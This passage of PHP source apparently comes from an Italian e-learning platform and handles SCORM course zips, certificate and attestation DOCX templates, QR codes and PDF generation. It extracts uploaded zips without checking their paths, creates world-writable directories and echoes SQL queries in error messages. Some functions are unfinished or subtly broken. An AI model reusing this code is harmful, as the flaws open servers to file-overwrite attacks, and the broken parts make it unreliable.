		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xml"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xsd"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xsd"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xsd"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xsd"></script>';
		// $index .= '<script type="text/javascript" src="jquery.scorm.api.imsmanifest.xsd"></script>';
		
		// $path = $_SERVER['DOCUMENT_ROOT']."/scorm/".$corso['titolo']."/";
		
		// if(!is_dir($path)){
		// 	mkdir($path, 0777, true);
		// 	chmod($path, 0777);
		// }
		
		// return $this->printMessage( $this->responseMessage("Corso trovato!", true) );

		//3. creo file zip (file zip del corso).
		$zip = new ZipArchive();
		$zip_name = $_SERVER['DOCUMENT_ROOT']."/scorm/".$corso['titolo'].".zip";
		if($zip->open($zip_name, ZipArchive::CREATE) !== TRUE){
			return $this->printMessage( $this->responseMessage("Errore nella creazione del file zip", false) );
		}
		$zip->addFile($path, 'imsmanifest.xml');
		$zip->addFile($index, 'index.html');
		$zip->addEmptyDir('files');
		$zip->addEmptyDir('files/immagini');
		$zip->addEmptyDir('files/video');
		$zip->addEmptyDir('files/audio');
		$zip->addEmptyDir('files/documenti');
		$zip->addEmptyDir('files/altro');
		//chiudo il file zip
		$zip->close();
		//4. carico il file zip su S3
		$check = $this->putFileS3Private("scorm", $corso['titolo'], $zip_name);
		if(!$check){
			return $this->printMessage( $this->responseMessage("Errore nel caricamento del file zip su S3", false) );
		}
		//5. cancello il file zip locale
		unlink($zip_name);
		//6. cancello il file imsmanifest.xml locale
		unlink($path);
		//7. cancello il file index.html locale
		unlink($index);
		//8. cancello la cartella del corso locale
		$path = $_SERVER['DOCUMENT_ROOT']."
		/scorm/".$corso['titolo']."/";
		if(is_dir($path)){
			rmdir($path);
		}
		//9. ritorno il link del file zip su S3
		$link = $this->getFileS3Private("scorm", $corso['titolo']);
		if(!$link){
			return $this->printMessage( $this->responseMessage("Errore nel recupero del link del file zip su S3", false) );
		}
		//10. ritorno il link del file zip su S3
		return $this->printMessage( $this->responseMessage($link, true) );
	}

	function generaCorsoFromSCORMFile($files){
		$check = $this->putFileS3Private("scorm", "centro", $files[0]);
		if(!$check){
			return $this->printMessage( $this->responseMessage("Errore nel caricamento del file zip su S3", false) );
		}
		//1. scarico il file zip da S3
		$path = $_SERVER['DOCUMENT_ROOT']."/scorm/".$files[0]['name'];
		$check = $this->getFileS3Private("scorm", "centro", $files[0]['name']);
		if(!$check){
			return $this->printMessage( $this->responseMessage("Errore nel download del file zip da S3", false) );
		}
		//2. estraggo il file zip
		$zip = new ZipArchive();
		if($zip->open($path) !== TRUE){
			return $this->printMessage( $this->responseMessage("Errore nell'apertura del file zip", false) );
		}
		$zip->extractTo($_SERVER['DOCUMENT_ROOT']."/scorm/");
		$zip->close();
		//3. leggo il file imsmanifest.xml
		$xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT']."/scorm/imsmanifest.xml");
		if(!$xml){
			return $this->printMessage( $this->responseMessage("Errore nella lettura del file imsmanifest.xml", false) );
		}
		//4. leggo il file index.html
		$index = file_get_contents($_SERVER['DOCUMENT_ROOT']."/scorm/index.html");
		if(!$index){
			return $this->printMessage( $this->responseMessage("Errore nella lettura del file index.html", false) );
		}
		//5. 

	}


	// $zip = new ZipArchive;
	// $res = $zip->open('file.zip');
	// if ($res === TRUE) {
	// $zip->extractTo('/myzips/extract_path/');
	// $zip->close();
	// echo 'woot!';
	// } else {
	// echo 'doh!';
	// }
	function getAttestatoTemplateCorso($id_corso){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$attestato = $this->db->SafeFetchOne($query);
		if(!$attestato){
			return $this->printMessage( $this->responseMessage("Attestato non trovato!", false) );
		}
		$conf = json_decode($attestato['configurazione'], true);
		$file_template = $conf['path_template_originale'];
		if(!$file_template){
			return $this->printMessage( $this->responseMessage("Attestato non trovato!", false) );
		}
		$file_template = end(explode("/",$file_template));
		$res = $this->getFile('template_corsi', $id_centro, $file_template);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCertificatoTemplateEsame($id_esame){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame = $this->db->quoteInt($id_esame);
		$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
		$certificato = $this->db->SafeFetchOne($query);
		if(!$certificato){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}
		$conf = json_decode($certificato['configurazione'], true);
		$file_template = $conf['path_template_originale'];
		if(!$file_template){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}
		$file_template = end(explode("/",$file_template));
		$res = $this->getFile('template_esami', $id_centro, $file_template);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCertificatoEsame($id_esame){
		$id_esame = $this->db->quoteInt($id_esame);
		$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = -1;";
		$certificato = $this->db->SafeFetchOne($query);
		if(!$certificato){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}
		$certificato['configurazione'] = json_decode($certificato['configurazione'], true);
		return $this->printMessage( $this->responseMessage($certificato, true) );
	}

	function getAttestatoCorso($id_corso){
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = -1;";
		$attestato = $this->db->SafeFetchOne($query);
		if(!$attestato){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}
		$attestato['configurazione'] = json_decode($attestato['configurazione'], true);
		return $this->printMessage( $this->responseMessage($attestato, true) );
	}


	function uploadCertificatoEsame($id_esame, $files){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame = $this->db->quoteInt($id_esame);
		$query = "SELECT * FROM corso_esame WHERE id_esame = $id_esame";
		$esame = $this->db->SafeFetchOne($query);
		if(!$esame){
			return $this->printMessage( $this->responseMessage("Esame non trovato!", false) );
		}
		$nome_file_certificato = "certificato_esame_".$esame['id_esame']."_".time();

		$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
		
		if(!is_dir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/")){
			mkdir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/", 0777, true);
			chown($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/", "ec2-user");

			mkdir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/template", 0777, true);
			chown($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/template", "ec2-user");
		}	

		$path = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/".$esame['id_esame']."/";
		$path_tmp = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/tmp_".$esame['id_esame']."/";
		$path_original_destination = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/template/";

		$zip = new ZipArchive;
		$res = $zip->open($files[0]);
		if ($res === TRUE) {
			$this->deleteDirectory($path);
			$this->deleteDirectory($path_tmp);
			mkdir($path, 0777, true);
			mkdir($path_tmp, 0777, true);
			chown($path, "ec2-user");
			chown($path_tmp, "ec2-user");

			if(!$zip->extractTo($path)){
				return $this->printMessage( $this->responseMessage("Errore nel caricamento del certificato non è stato possibile estrarre i dati!", false) );
			}
			if(!$zip->extractTo($path_tmp)){
				return $this->printMessage( $this->responseMessage("Errore nel caricamento del certificato non è stato possibile estrarre i dati!", false) );
			}
			$images = [];
			$images_ = array_diff(scandir($path_tmp."word/media/"), array('..', '.'));
			foreach ($images_ as $key => $value) {
				$images[] = $value;
			}			
			$zip->close();

			// $toFile = $path_original_destination."template_".$esame['id_esame'].".docx";
			// $toDb = "esami/$dominio/template/template_".$esame['id_esame'].".docx";
			$nome_file_s3 = $this->putFileS3Private("template_esami", $id_centro, $files[0]);

			$configurazione = array("folder_name"=>$id_esame, "url_qr_code_image"=>"media/image1.png", "path_template_originale"=>$nome_file_s3, "qr"=>-1, "qr_images"=>$images, "qr_image"=>"", "rand_id"=>time());
			
			$configurazione = $this->db->quoteText(json_encode($configurazione));
			//controllo se esiste il record
			$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
			$certificato = $this->db->SafeFetchOne($query);
			if($certificato && $certificato['id_certificato']){
				//aggiorno il record
				$query = "UPDATE certificato SET configurazione = $configurazione WHERE id_esame = $id_esame AND id_centro = $id_centro;";
				$ins = $this->db->SafeExec($query);
				if(!$ins){
					return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare il certificato!".$query, false) );
				}
			}else{
				//inserisco il record nel db tabella certificato
				$query = "INSERT INTO certificato (id_esame, configurazione, id_centro) VALUES ($id_esame, $configurazione, $id_centro);";
				$ins = $this->db->SafeInsert($query);
				if(!$ins){
					return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il certificato nel db, ricaricare il certificato!".$query, false) );
				}
			}

			
			// if(rename($files[0], $toFile)) {
			// 	chown($toFile, "ec2-user");
			// 	chmod($toFile, 0775);
			// }else{
			// 	// echo $files[0]."-". $path_original_destination;				
			// 	return $this->printMessage( $this->responseMessage("Errore nella memorizzazione del template originale!", false) );
			// }

			return $this->printMessage( $this->responseMessage("Certificato caricato con successo!", true) );

		} else {
			
			return $this->printMessage( $this->responseMessage("Errore nel caricamento del certificato il file sembra essere corrotto! ".$zip->getStatusString(), false) );
		}
	}

	function uploadAttestatoCorso($id_corso, $files){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso";
		$corso = $this->db->SafeFetchOne($query);
		if(!$corso){
			return $this->printMessage( $this->responseMessage("Corso non trovato!", false) );
		}
		$nome_file_attestato = "attestato_corso_".$corso['id_corso']."_".time();

		$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
		
		if(!is_dir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/")){
			mkdir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/", 0777, true);
			chown($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/", "ec2-user");

			mkdir($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/template", 0777, true);
			chown($_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/template", "ec2-user");
		}	

		$path = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/".$corso['id_corso']."/";
		$path_tmp = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/tmp_".$corso['id_corso']."/";
		$path_original_destination = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/template/";

		$zip = new ZipArchive;
		$res = $zip->open($files[0]);
		if ($res === TRUE) {
			$this->deleteDirectory($path);
			$this->deleteDirectory($path_tmp);
			mkdir($path, 0777, true);
			mkdir($path_tmp, 0777, true);
			chown($path, "ec2-user");
			chown($path_tmp, "ec2-user");

			if(!$zip->extractTo($path)){
				return $this->printMessage( $this->responseMessage("Errore nel caricamento dell'attestato, non è stato possibile estrarre i dati!", false) );
			}
			if(!$zip->extractTo($path_tmp)){
				return $this->printMessage( $this->responseMessage("Errore nel caricamento dell'attestato, non è stato possibile estrarre i dati!", false) );
			}
			$images = [];
			$images_ = array_diff(scandir($path_tmp."word/media/"), array('..', '.'));
			foreach ($images_ as $key => $value) {
				$images[] = $value;
			}
			$zip->close();

			// $toFile = $path_original_destination."template_".$corso['id_corso'].".docx";
			// $toDb = "corsi/$dominio/template/template_".$corso['id_corso'].".docx";
			$nome_file_s3 = $this->putFileS3Private("template_corsi", $id_centro, $files[0]);
			$configurazione = array("folder_name"=>$id_corso, "url_qr_code_image"=>"media/image1.png", "path_template_originale"=>$nome_file_s3, "qr"=>-1, "qr_images"=>$images, "qr_image"=>"", "rand_id"=>time());
			
			$configurazione = $this->db->quoteText(json_encode($configurazione));
			//controllo se esiste il record
			$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
			$attestato = $this->db->SafeFetchOne($query);
			if($attestato && $attestato['id_attestato']){
				//aggiorno il record
				$query = "UPDATE attestato SET configurazione = $configurazione WHERE id_corso = $id_corso AND id_centro = $id_centro;";
				$ins = $this->db->SafeExec($query);
				if(!$ins){
					return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare l'attestato!".$query, false) );
				}
			}else{
				//inserisco il record nel db tabella attestato
				$query = "INSERT INTO attestato (id_corso, configurazione, id_centro) VALUES ($id_corso, $configurazione, $id_centro);";
				$ins = $this->db->SafeInsert($query);
				if(!$ins){
					return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il attestato nel db, ricaricare l'attestato!".$query, false) );
				}
			}

			
			// if(rename($files[0], $toFile)) {
			// 	chown($toFile, "ec2-user");
			// 	chmod($toFile, 0775);
			// }else{
			// 	// echo $files[0]."-". $path_original_destination;				
			// 	return $this->printMessage( $this->responseMessage("Errore nella memorizzazione del template originale!", false) );
			// }

			return $this->printMessage( $this->responseMessage("Attestato caricato con successo!", true) );

		} else {
			
			return $this->printMessage( $this->responseMessage("Errore nel caricamento dell'attestato il file sembra essere corrotto! ".$zip->getStatusString(), false) );
		}
	}

	function getAttestatoTemplateImgsCorso($id_corso){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$attestato = $this->db->SafeFetchOne($query);
		if(!$attestato){
			return $this->printMessage( $this->responseMessage("Attestato non trovato!", false) );
		}else{
			$images_ret=[];
			$conf = json_decode($attestato['configurazione'], true);
			$images_url = $conf['qr_images'];
			$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
			for ($i=0; $i < count($images_url); $i++) { 
				$nome_file = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/corsi/$dominio/".$id_corso."/word/media/".$images_url[$i];
				//leggo il file immagine e lo converto in base64
				$image_data = file_get_contents($nome_file);
				$base64 = 'data:' . mime_content_type($nome_file) . ';base64,' . base64_encode($image_data);
				$images_ret[]=array("nome"=>$images_url[$i],"base64"=>$base64);
			}
			return $this->printMessage( $this->responseMessage($images_ret, true) );
		}
	}

	function getCertificatoTemplateImgsEsame($id_esame){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame = $this->db->quoteInt($id_esame);
		$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
		$certificato = $this->db->SafeFetchOne($query);
		if(!$certificato){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}else{
			$images_ret=[];
			$conf = json_decode($certificato['configurazione'], true);
			$images_url = $conf['qr_images'];
			$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
			for ($i=0; $i < count($images_url); $i++) { 
				$nome_file = $_SERVER['DOCUMENT_ROOT']."/../generator_pdf/esami/$dominio/".$id_esame."/word/media/".$images_url[$i];
				//leggo il file immagine e lo converto in base64
				$image_data = file_get_contents($nome_file);
				$base64 = 'data:' . mime_content_type($nome_file) . ';base64,' . base64_encode($image_data);
				$images_ret[]=array("nome"=>$images_url[$i],"base64"=>$base64);
			}
			return $this->printMessage( $this->responseMessage($images_ret, true) );

		}
	}

	function settaImgTemplateEsame($nome_file, $id_esame){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame = $this->db->quoteInt($id_esame);
		$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
		$certificato = $this->db->SafeFetchOne($query);
		if(!$certificato){
			return $this->printMessage( $this->responseMessage("Certificato non trovato!", false) );
		}else{
			$conf = json_decode($certificato['configurazione'], true);
			$conf['qr_image'] = $nome_file;
			$configurazione = $this->db->quoteText(json_encode($conf));
	
			$query = "UPDATE certificato SET configurazione = $configurazione WHERE id_esame = $id_esame AND id_centro = $id_centro;";
			$ins = $this->db->SafeExec($query);
			if(!$ins){
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare il certificato!".$query, false) );
			}else{
				return $this->printMessage( $this->responseMessage("Aggiornato con successo!", true) );
			}
			return $this->printMessage( $this->responseMessage($images_ret, true) );
		}
	}

	function settaImgTemplateCorso($nome_file, $id_corso){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso = $this->db->quoteInt($id_corso);
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$attestato = $this->db->SafeFetchOne($query);
		if(!$attestato){
			return $this->printMessage( $this->responseMessage("Attestato non trovato!", false) );
		}else{
			$conf = json_decode($attestato['configurazione'], true);
			$conf['qr_image'] = $nome_file;
			$configurazione = $this->db->quoteText(json_encode($conf));
	
			$query = "UPDATE attestato SET configurazione = $configurazione WHERE id_corso = $id_corso AND id_centro = $id_centro;";
			$ins = $this->db->SafeExec($query);
			if(!$ins){
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare l'attestato!".$query, false) );
			}else{
				return $this->printMessage( $this->responseMessage("Aggiornato con successo!", true) );
			}
			return $this->printMessage( $this->responseMessage($images_ret, true) );
		}
	}

	function onoffQRAttestatoCorso($onoff, $_id_corso){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso =  $this->db->quoteInt($_id_corso);
		//controllo se esiste il record
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$attestato = $this->db->SafeFetchOne($query);
		if($attestato && $attestato['id_attestato']){
			$configurazione = json_decode($attestato['configurazione'],true);
			$configurazione["qr"]=intval($onoff);
			$configurazione["rand_id"]=time();
			$configurazione = $this->db->quoteText(json_encode($configurazione));
			//aggiorno il record
			$query = "UPDATE attestato SET configurazione = $configurazione WHERE id_corso = $id_corso AND id_centro = $id_centro;";
			$ins = $this->db->SafeExec($query);
			if(!$ins){
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare l'attestato!".$query, false) );
			}else{
				return $this->printMessage( $this->responseMessage("Template aggiornato con successo!", true) );
			}
		}else{
			return $this->printMessage( $this->responseMessage("Attestato non trovato!".$query, false) );
		}
	}

	function onoffQRACertificatoEsame($onoff, $_id_esame){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame =  $this->db->quoteInt($_id_esame);
				$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
		$certificato = $this->db->SafeFetchOne($query);
		if($certificato && $certificato['id_certificato']){
			$configurazione = json_decode($certificato['configurazione'],true);
			$configurazione["qr"]=intval($onoff);
			$configurazione["rand_id"]=time();
			$configurazione = $this->db->quoteText(json_encode($configurazione));
			//aggiorno il record
			$query = "UPDATE certificato SET configurazione = $configurazione WHERE id_esame = $id_esame AND id_centro = $id_centro;";
			$ins = $this->db->SafeExec($query);
			if(!$ins){
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare il db, ricaricare il certificato!".$query, false) );
			}else{
				return $this->printMessage( $this->responseMessage("Template aggiornato con successo!", true) );
			}
		}else{
			return $this->printMessage( $this->responseMessage("Certificato non trovato!".$query, false) );
		}
	}

	function getCertificatoAnteprimaEsame($_id_esame){
		$id_centro =  $this->db->quoteInt(-1);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT * FROM certificato WHERE id_esame = $id_esame AND id_centro = $id_centro;";
		$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
		$certificato = $this->db->SafeFetchOne($query);
		if($certificato && $certificato['id_certificato']){
			$configurazione = json_decode($certificato['configurazione'], true);
			

			$query = "SELECT * FROM corso_esame WHERE id_esame = $id_esame AND id_centro = $id_centro;";
			$res_esame= $this->db->SafeFetchOne($query);
			////______________

			$id_user =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
			$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
			$path = $_SERVER[ 'DOCUMENT_ROOT']."/../";

			$cnfg = json_decode($certificato['configurazione']);
			$folder_name = $cnfg->folder_name;
			$path_word = $path."generator_pdf/esami/".$dominio."/".$folder_name."/word/";
			$path_tmp = $path."generator_pdf/esami/".$dominio."/tmp_".$folder_name."/word/";
			$url_qr_code_image = $path_word.$cnfg->url_qr_code_image;
			$url_tmp_qr_code_image = $path_tmp.$cnfg->url_qr_code_image;	


			$codice_certificato = "C-".$id_user."-".$id_esame."-".$this->generatePassword($id_user.$id_esame);
			$nome_file_certificato = $codice_certificato;
			//imposto i dati del certificato
			$cognome_nome = "MARIO ROSSA";
			$data_nascita = "01/01/1960";
			$codice_fiscale= "MRRSOS01A60A001A";
			$titolo_esame= $res_esame['titolo'];
			$sottotitolo_esame= $res_esame['categoria'];
			$data_esame = date('d/m/Y', time());

			$moduli_esame="Questa scritta verrà sostituita con tutti i titoli dei moduli presenti";
			
			
			//imposto il link di verifica
			$link_verifica_certificato = $_SERVER['HTTP_HOST']."/authentication/verifica-certificato/c/".$codice_certificato;

			//imposto il nome del file
			$documento = $path_word."document.xml";
			$documento_tmp = $path_tmp."document.xml";
			//recupero il contenuto del file
			$doc = file_get_contents($documento);
			if(!$doc){
				return $this->printMessage( $this->responseMessage("Errore nella generazione del certificato, template non caricato! Doc: ". $documento, false) );
			}	

			//sostituisco i dati nel certificato
			// $doc = str_replace("{{COGNOME_NOME}}", $cognome_nome, $doc);
			// $doc = str_replace("{{DATA_NASCITA}}", $data_nascita, $doc);
			// $doc = str_replace("{{CODICE_FISCALE}}", $codice_fiscale, $doc);
			// $doc = str_replace("{{TITOLO_ESAME}}", $titolo_esame, $doc);
			// $doc = str_replace("{{SOTTOTITOLO_ESAME}}", $sottotitolo_esame, $doc);
			// $doc = str_replace("{{TITOLO_CORSO}}", $titolo_esame, $doc);
			// $doc = str_replace("{{SOTTOTITOLO_CORSO}}", $sottotitolo_esame, $doc);
			// $doc = str_replace("{{MODULI_ESAME}}", $moduli_esame, $doc);
			// $doc = str_replace("{{MODULI_CORSO}}", $moduli_esame, $doc);
			// $doc = str_replace("{{DATA_ESAME}}", $data_esame, $doc);
			// $doc = str_replace("{{DATA_CORSO}}", $data_esame, $doc);
			// $doc = str_replace("{{CODICE_CERTIFICATO}}", $codice_certificato, $doc);
			$i=0;
			while(strpos($doc, "{{")>-1 || strpos($doc, "{{") >= strlen($doc)){
				if($i>10000){
					break;
				}$i++;
				$g_start = strpos($doc, "{{");
				$g_end = strpos($doc, "}}");
				$da_sostituire = substr($doc, $g_start, $g_end-$g_start+2);
				// Rimuove tutti i tag XML o HTML
				$parola_chiave = strip_tags($da_sostituire);
				
				// Elimina anche eventuali caratteri di controllo, spazi e a capo
				$parola_chiave = preg_replace('/\s+/', '', $parola_chiave);
				
				// Mantiene solo lettere maiuscole e underscore
				$parola_chiave = "{{".preg_replace('/[^A-Z_]/', '', $parola_chiave)."}}";

				switch($parola_chiave){
					case "{{COGNOME_NOME}}": $doc = str_replace($da_sostituire, $cognome_nome, $doc); break;
					case "{{DATA_NASCITA}}": $doc = str_replace($da_sostituire, $data_nascita, $doc);break;
					case "{{CODICE_FISCALE}}": $doc = str_replace($da_sostituire, $codice_fiscale, $doc);break;
					case "{{TITOLO_ESAME}}": $doc = str_replace($da_sostituire, $titolo_esame, $doc);break;
					case "{{SOTTOTITOLO_ESAME}}": $doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);break;
					case "{{TITOLO_CORSO}}": $doc = str_replace($da_sostituire, $titolo_esame, $doc);break;
					case "{{SOTTOTITOLO_CORSO}}": $doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);break;
					case "{{MODULI_ESAME}}": $doc = str_replace($da_sostituire, $moduli_esame, $doc);break;
					case "{{MODULI_CORSO}}": $doc = str_replace($da_sostituire, $moduli_esame, $doc);break;
					case "{{DATA_ESAME}}": $doc = str_replace($da_sostituire, $data_esame, $doc);break;
					case "{{DATA_CORSO}}": $doc = str_replace($da_sostituire, $data_esame, $doc);break;
					case "{{CODICE_ATTESTATO}}": $doc = str_replace($da_sostituire, $codice_attestato, $doc);break;
					case "{{CODICE_CERTIFICATO}}": $doc = str_replace($da_sostituire, $codice_certificato, $doc);break;
					//default: $doc = str_replace($da_sostituire, "", $doc);break;
				}
			}

			//genero codice qr
			$pathQrCode = $path."app/resources/phpqrcode/qrlib.php";
			require_once($pathQrCode);
			unlink($url_tmp_qr_code_image);
			QRcode::png($link_verifica_certificato, $url_tmp_qr_code_image, "H", "300", "2");
			chown($url_tmp_qr_code_image, "ec2-user");
			chmod($url_tmp_qr_code_image, 0775);
			
			//rimuovo old doc
			unlink($documento_tmp);

			//aggiungo a certificato tmp
			file_put_contents($documento_tmp, $doc);
			chown($documento_tmp, "ec2-user");
			chmod($documento_tmp, 0775);

			
			//zip
			// Enter the name of directory 
			$pathdir = $path."generator_pdf/esami/".$dominio."/tmp_".$folder_name."/";  
				
			// Enter the name to creating zipped directory 
			$zipcreated = $path."generator_pdf/esami/".$dominio."/".$nome_file_certificato.".zip"; 
			$wordrename = $path."generator_pdf/esami/".$dominio."/".$nome_file_certificato.".docx"; 
			$pdfrename = $path."generator_pdf/esami/".$dominio."/".$nome_file_certificato.".pdf"; 


				
			if(!parent::zippami($pathdir, $zipcreated)){
				return $this->printMessage($this->responseMessage("Errore nella generazione del certificato zip, si prega di riprovare!", false));
			}
			
			rename($zipcreated, $wordrename);

			chown($wordrename, "ec2-user");
			chmod($wordrename, 0775);

			unlink($nome_file_certificato.".zip");
			//genera pdf
			include SITEROOT_DIR.'/app/helpers/converterPdf.php';

			$converter = new OfficeConverter($wordrename, null, $path."generator_pdf/libreoffice/program/soffice.bin");
			$converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
			//	$converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

				//to specify output directory, specify it as the second argument to the constructor
			//	$converter = new OfficeConverter($wordrename, $pathdir);

			chown($pdfrename, "ec2-user");
			chmod($pdfrename, 0775);

			if(!$converter){
				echo "Errore in conversione"; die;
			}		
			unlink($wordrename);

			//upload s3
			$url = $this->putFileS3Private("user", $id_user, $pdfrename);	
			
			if($url){
				$_url_save = end(explode("/",$url));
				$url_save = explode("?",$_url_save)[0];
				unlink($pdfrename);
				$this->getFile("user",$id_user,$url_save);
			}else{
				return $this->printMessage($this->responseMessage("Errore nella generazione del certificato, si prega di riprovare!", false));
			}


		}else{
			return $this->printMessage( $this->responseMessage("Certificato non trovato!".$query, false) );
		}
	}

		//case "getAttestatoAnteprimaCorso":
	function getAttestatoAnteprimaCorso($_id_corso){
		$id_centro =  $this->db->quoteInt(-1);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT * FROM attestato WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$dominio=explode(".", $_SERVER['HTTP_HOST'])[1];
		$attestato = $this->db->SafeFetchOne($query);
		if($attestato && $attestato['id_attestato']){
			$configurazione = json_decode($attestato['configurazione'], true);
			

			$query = "SELECT * FROM corso WHERE id_corso = $id_corso AND id_centro = $id_centro;";
			$res_esame= $this->db->SafeFetchOne($query);
			////______________

			$id_user =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
			$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
			$path = $_SERVER[ 'DOCUMENT_ROOT']."/../";

			$cnfg = json_decode($attestato['configurazione']);
			$folder_name = $cnfg->folder_name;
			$path_word = $path."generator_pdf/corsi/".$dominio."/".$folder_name."/word/";
			$path_tmp = $path."generator_pdf/corsi/".$dominio."/tmp_".$folder_name."/word/";
			$url_qr_code_image = $path_word.$cnfg->url_qr_code_image;
			$url_tmp_qr_code_image = $path_tmp.$cnfg->url_qr_code_image;	


			$codice_attestato = "C-".$id_user."-".$id_corso."-".$this->generatePassword($id_user.$id_corso);
			$nome_file_attestato = $codice_attestato;
			//imposto i dati del attestato
			$cognome_nome = "MARIO ROSSA";
			$data_nascita = "01/01/1960";
			$codice_fiscale= "MRRSOS01A60A001A";
			$titolo_esame= $res_esame['titolo'];
			$sottotitolo_esame= $res_esame['categoria'];
			$data_esame = date('d/m/Y', time());

			$moduli_esame="Questa scritta verrà sostituita con tutti i titoli dei moduli presenti";
			
			
			//imposto il link di verifica
			$link_verifica_attestato = $_SERVER['HTTP_HOST']."/authentication/verifica-certificato/a/".$codice_attestato;

			//imposto il nome del file
			$documento = $path_word."document.xml";
			$documento_tmp = $path_tmp."document.xml";
			//recupero il contenuto del file
			$doc = file_get_contents($documento);
			if(!$doc){
				return $this->printMessage( $this->responseMessage("Errore nella generazione del attestato, template non caricato! Doc: ". $documento, false) );
			}	

			//sostituisco i dati nel attestato
			// $doc = str_replace("{{COGNOME_NOME}}", $cognome_nome, $doc);
			// $doc = str_replace("{{DATA_NASCITA}}", $data_nascita, $doc);
			// $doc = str_replace("{{CODICE_FISCALE}}", $codice_fiscale, $doc);
			// $doc = str_replace("{{TITOLO_ESAME}}", $titolo_esame, $doc);
			// $doc = str_replace("{{SOTTOTITOLO_ESAME}}", $sottotitolo_esame, $doc);
			// $doc = str_replace("{{TITOLO_CORSO}}", $titolo_esame, $doc);
			// $doc = str_replace("{{SOTTOTITOLO_CORSO}}", $sottotitolo_esame, $doc);
			// $doc = str_replace("{{MODULI_ESAME}}", $moduli_esame, $doc);
			// $doc = str_replace("{{MODULI_CORSO}}", $moduli_esame, $doc);
			// $doc = str_replace("{{DATA_ESAME}}", $data_esame, $doc);
